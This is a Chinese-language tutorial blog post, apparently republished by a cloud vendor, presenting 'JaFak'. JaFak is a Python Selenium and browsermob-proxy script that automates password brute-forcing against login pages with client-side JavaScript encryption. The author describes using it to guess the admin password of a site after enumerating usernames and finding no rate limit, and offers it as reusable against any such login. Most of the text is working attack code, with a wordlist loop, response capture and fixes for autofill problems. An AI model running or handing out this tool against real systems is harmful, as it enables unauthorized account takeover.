您好,登錄后才能下訂單哦!
無視js前端加密的賬號密碼爆破工具JaFak怎么用,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
所以我決定搞點事情,把這個洞危害加大,我第一個想的就是爆破固定的用戶名與密碼,因為系統的登錄頁面,無論是你用戶名錯誤還是密碼錯誤,都返回“用戶名和密碼或錯誤!”,且沒有驗證碼驗證,也不限制次數,又因為我們枚舉了正確的用戶名,這個提示相當于變成了“密碼錯誤,請重新輸入”,就可以爆破固定用戶名的密碼了,burp啟動,直接就沖了!
看到密碼后面有%3D%3D,我逐漸興奮,這不就是base64加密嗎?直接python腳本,先base64加密,然后爆破,舒服,等著出密碼就行了!
但是得先驗證是否是base64加密,然后放入burp解碼,我擦,解不出來,我剛開始還不相信,多試了幾次,還真不是!
沒事沒事,冷靜冷靜!這玩意密碼學嘛,這不有手就能把他的加密邏輯給逆出來,哎呀,我擦,我的手勒?
然后打開js,進行源碼分析,漂亮,一個混淆把我思路繞城了鋼絲球!
直接給我整勸退,再見項目,再見網安,再見打工人,回家種田去了。
但是吧,我覺得難不倒我,我還可以搶救一下,因為我以前看過大佬,通過本地建立服務,去調用系統的js,然后為己用,但是也得找到加密函數的接口,bp上面就有插件,本地起服務,但是也得找到加密的入口函數!還是佩服那些前端調試硬剛的大佬,真是大佬!
因為我以前見過國外的某性能測試軟件,不知道啥名字了,反正挺貴的,能自動控制瀏覽器進行性能設置,就好比一個機器人幫你輸入,幫你提交,幫你訪問網站,我覺得酷死了,然后我就想了想咋實現的,想起自動化,我肯定第一時間想起了python,Google一搜還真有!
有事找百度,google準沒錯!
為什么說奇幻勒?因為爬坑的故事真的一把鼻涕一把淚的,別說了,哭暈在廁所。
開始使用selenium框架……
Selenium 是什么?一句話,自動化測試工具。
它支持各種瀏覽器,包括 Chrome,Safari,Firefox 等主流界面式瀏覽器,如果你在這些瀏覽器里面安裝一個 Selenium 的插件,那么便可以方便地實現 Web 界面的測試。換句話說叫 Selenium 支持這些瀏覽器驅動。
這里用的東西python+selenium+browsermobproxy
愛之初體驗
我們先來一個小例子感受一下 Selenium,這里我們用 Chrome 瀏覽器來測試(當然你可以i緩存其他的瀏覽器不影響)。
注意在嘗試這段代碼之前,你得安裝chrome瀏覽器。
from selenium import webdriver browser = webdriver.Chrome() browser.get('http://www.baidu.com/')
運行這段代碼,它會自動打開chrome瀏覽器,然后打開http://www.baidu.com/這個網頁,完全可視化,因為你會看到你的chrome瀏覽器打開瀏覽這個過程。
如果代碼執行錯誤,瀏覽器沒有打開,那么應該是沒有裝 Chrome 瀏覽器或者 Chrome 驅動沒有配置在環境變量里。下載驅動,然后將驅動文件路徑配置在環境變量即可
但是因為我們的測試需要提交爆破的用戶名和密碼打開網頁是遠遠不夠的,所以
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("http://www.python.org") assert "Python" in driver.title#等待加載結束 elem = driver.find_element_by_name("q") elem.send_keys("pycon") elem.send_keys(Keys.RETURN) print(driver.page_source)
這段代碼會遍歷打開http://www.python.org這個網頁,等Python字體加載出來的時候,才遍歷html 樹狀結構,找到name為q的標簽,然后填入pycon,然后模擬點擊
這里為什么要等待加載,因為可能網站有jq什么的加載沒完全,再點擊會失去原來的韻味。
根據實際需求的情況需要這段代碼被我改成了這個樣子:
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("xxxxxxxx") driver.find_element_by_css_selector("[class='class_name']").send_keys( username)#找到輸入用戶名的標簽,把用戶名輸入進去 driver.find_element_by_css_selector( "[class='class_name']").send_keys(password)##找到輸入密碼的標簽,把用戶名輸入進去 driver.find_element_by_css_selector(("[class='class_name']")).click()#找到登錄標簽,然后點擊
這樣就模擬了一次完整的用戶名和密碼輸入,以及點擊登錄的效果.
坑點1:這里為什么要用css_selector,本來可以直接使用by_class_name的,但是因為我實際利用場景這里很特殊,class的名字之間有空格,使用by_class_name獲取不到,如果class的名字沒有空格,就可以直接獲取,當然也可以通過標簽的其他的屬性訪問到.
但是這樣只能提交一次登錄請求,而且還得必須清空上一次填寫的賬號密碼,再改進
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("xxxxxxxx") #循環加在這 driver.find_element_by_css_selector("[class='class_name']").send_keys( username)#找到輸入用戶名的標簽,把用戶名輸入進去 driver.find_element_by_css_selector( "[class='class_name']").send_keys(password)##找到輸入密碼的標簽,把用戶名輸入進去 driver.find_element_by_css_selector(("[class='class_name']")).click()#找到登錄標簽,然后點擊 driver.find_element_by_css_selector("[class='class_name']").clear() driver.find_element_by_css_selector("[class='class_name']").clear()
再此基礎上加個循環,可以批量爆破他的密碼了,因為chrome瀏覽器已經自動加載調用js幫我們加密好了變成了密文,然后再發送過去,真是nice鴨!
但是有個問題,就是我無法捕獲服務器的返回包,剛開始使用selenium抓取chromedriver的network
抓到的流量還得自己分析,就很難受,然后就是使用了browsermobproxy 來開啟一個中間的代理,讓我的chrome先去經過browermobproxy,然后browermobproxy抓取我的http流量,就可以拿到了服務器返回包了.就很nice!
Browsermob-Proxy是一個開源的Java編寫的基于LittleProxy的代理服務。Browsermob-Proxy的具體流程有點類似與Flidder或Charles。即開啟一個端口并作為一個標準代理存在,當HTTP客戶端(瀏覽器等)設置了這個代理,則可以抓取所有的請求細節并獲取返回內容。
安裝:
直接到項目的github上下載打好的壓縮包即可:https://github.com/lightbody/browsermob-proxy/releases,支持Linux和Windows。
安裝對應的python包:
pip install browsermob-proxy下載好browsermob-proxy之后,放在指定一個目錄,例如我這里是 D:\apk\browsermob-proxy-2.1.4-bin\browsermob-proxy-2.1.4這個路徑下,所以下面示例代碼如:
from browsermobproxy import Server server = Server("路徑") server.start() proxy = server.create_proxy()
配置Proxy啟動WebDriver:
from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--proxy-server={0}'.format(proxy.proxy)) driver = webdriver.Chrome(chrome_options=chrome_options)
值得注意的是:
browsermob-proxy起的Server默認是8080端口
可以直接進入到Server這個類里面去修改他的監聽端口
直接上根據實際測試需求最終代碼:
import os import argparse import sys from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from browsermobproxy import Server from selenium.webdriver.chrome.options import Options class Brower_scan(): def __init__(self,url,username,password_dir): self.url = url self.response_result = [] self.result={} self.init_browsermobproxy() self.init_chrome() self.init_dict_list(username,password_dir) self.result_handing() self.end_env() def init_dict_list(self,username,password_dir): with open(password_dir,"r") as f: self.password_list = f.readlines() for password in self.password_list: self.fill_out_a_form(username,password.replace('\n','')) self.wget_response() def init_browsermobproxy(self): self.server = Server("browsermob-proxy-2.1.4\\bin\\browsermob-proxy.bat")#browermobproxy文件的位置 self.server.start() self.proxy = self.server.create_proxy() self.chrome_options = Options() self.chrome_options.add_argument('--proxy-server={0}'.format(self.proxy.proxy)) self.chrome_options.add_argument('--headless')#這里加了一個參數,不啟動chrome瀏覽器,省去了啟動的時間,更快了 def init_chrome(self): try: self.chrome = webdriver.Chrome(chrome_options=self.chrome_options) self.proxy.new_har("ht_list2", options={'captureContent': True}) self.chrome.get(self.url) except Exception as e: print("Chrome瀏覽器啟動失敗!\n") return 0 def fill_out_a_form(self,username,password): self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-with-prefix']").send_keys( username) self.chrome.find_element_by_css_selector( "[class='ivu-input ivu-input-with-suffix']").send_keys(password) self.chrome.find_element_by_css_selector(("[class='ivu-btn ivu-btn-primary ivu-btn-large']")).click() self.chrome.find_element_by_css_selector("[class='iivu-input ivu-input-with-prefix']").clear() self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-with-suffix']").clear() def wget_response(self): result = self.proxy.har for entry in result['log']['entries']: _url = entry['request']['url'] print(_url) if "password" in _url and "username" in _url: _response = entry['response'] _content = _response['content'] # 獲取接口返回內容 self.response_result.append(_response['content']['text']) self.result = dict(zip(self.password_list, self.response_result)) def result_handing(self): for key,value in self.result.items(): print("密碼:{key} :結果:{result}".format(key=key,result=value)) def end_env(self): try: self.server.stop() self.chrome.quit() find_netstat = os.popen("netstat -ano | findstr 8080")#開的什么端口殺什么端口的進程 pid = find_netstat.read().split()[4] kail_pid = os.popen("taskkill /F /PID {PID}".format(PID=pid)) print(kail_pid.read()) return 1 except IndexError as e: return 0 Brower = Brower_scan(url,'admin','password.txt')
拿去實戰爆破效果一瀏覽:
坑點二:
實際爆破效果不是這樣的
密碼輸入依次為 123456 123456456789 123456455678955664 ........................一直增大 ,好像緩存沒有清楚一樣,但是我實際確實clear了
這個問題把我搞了很久,百思不得其解。
最后,在部門大神的指點下,成功找到原因,并解決問題,果然聽君一席話,勝讀10年書,不愧是大佬!!
因為起的瀏覽器默認是記住上次密碼的,當我輸入一個admin賬號的時候,在輸入密碼,然后瀏覽器記住了我的賬號了,雖然錯誤,然后繼續輸入admin,然后瀏覽器會自動補全123456,然后我再輸入了一個456789 結果就成了123456456789了..... 就這個理
更改只需要把順序調換一下就行了:
self.chrome.find_element_by_css_selector("[class='class_name']").clear() self.chrome.find_element_by_css_selector("[class='class_name']").send_keys( username) self.chrome.find_element_by_css_selector("[class='class_name']").clear() self.chrome.find_element_by_css_selector( "[class='class_name']").send_keys(password) self.chrome.find_element_by_css_selector(("[class='class_name']")).click()
只需要在它補全之前,再次clear就行
坑點3:
如果登錄標簽使用click屬性,因為元素被包裹的問題,click多了會報錯!,解決辦法是使用send_keys()
self.chrome.find_element_by_css_selector(("[class='class_name']")).send_keys(Keys.RETURN)
好了這里基本上解決了所以的坑點,但是實際的坑點很多,我只是把主要的幾點放出來講了一下,最終代碼:
import os import argparse import sys from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from browsermobproxy import Server from selenium.webdriver.chrome.options import Options class Brower_scan(): def __init__(self,url,username,password_dir): self.url = url self.response_result = [] self.result={} self.init_browsermobproxy() self.init_chrome() self.init_dict_list(username,password_dir) self.result_handing() self.end_env() def init_dict_list(self,username,password_dir): with open(password_dir,"r") as f: self.password_list = f.readlines() for password in self.password_list: self.fill_out_a_form(username,password.replace('\n','')) self.wget_response() def init_browsermobproxy(self): self.server = Server("browsermob-proxy-2.1.4\\bin\\browsermob-proxy.bat")#browermobproxy文件的位置 self.server.start() self.proxy = self.server.create_proxy() self.chrome_options = Options() self.chrome_options.add_argument("–incognito") self.chrome_options.add_argument('--proxy-server={0}'.format(self.proxy.proxy)) self.chrome_options.add_argument('--headless')#這里加了一個參數,不啟動chrome瀏覽器,省去了啟動的時間,更快了 def init_chrome(self): try: self.chrome = webdriver.Chrome(chrome_options=self.chrome_options) self.proxy.new_har("test", options={'captureContent': True, 'captureHeaders': True}) self.chrome.get(self.url) except Exception as e: print("Chrome瀏覽器啟動失敗!\n") return 0 def fill_out_a_form(self,username,password): print(password) self.chrome.find_element_by_css_selector("[class='class_name']").clear()#清空username輸入框的標簽 self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-large ivu-input-with-prefix']").send_keys( username)#輸入用戶名 self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-large ivu-input-with-prefix ivu-input-with-suffix']").clear()#清空password輸入框的標簽 self.chrome.find_element_by_css_selector( "[class='class_name']").send_keys(password)#輸入用戶名 self.chrome.find_element_by_css_selector("[class='class_name']").send_keys(Keys.RETURN)#點擊登錄 def wget_response(self): result = self.proxy.har for entry in result['log']['entries']: _url = entry['request']['url'] if "password" in _url and "username" in _url: _response = entry['response'] _content = _response['content'] # 獲取接口返回內容 self.response_result.append(_response['content']['text']) self.result = dict(zip(self.password_list, self.response_result)) def result_handing(self): for key,value in self.result.items(): print("密碼:{key} :結果:{result}".format(key=key,result=value)) def end_env(self): try: self.server.stop() self.chrome.quit() find_netstat = os.popen("netstat -ano | findstr 8080")#開的什么端口殺什么端口的進程 pid = find_netstat.read().split()[4] kail_pid = os.popen("taskkill /F /PID {PID}".format(PID=pid)) print(kail_pid.read()) return 1 except IndexError as e: return 0 Brower = Brower_scan(url,'admin','password.txt')
這里僅僅把這種方式利用在密碼爆破上面,但是實際的利用場景遠不止這些,我覺得可以利用任何js加密,jq加密的,前端加密的場景,都可以用到,根本不需要去分析它的js前端加密代碼,只需要把爆破行為模擬正常的用戶行為就歐克了,不得不說,這種智能的方式真的太方便了!太香了!現在只支持通過class來查找輸入框和登錄按鈕,如果需要通過id或其他標識,可以修改源碼。
看完上述內容,你們掌握無視js前端加密的賬號密碼爆破工具JaFak怎么用的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。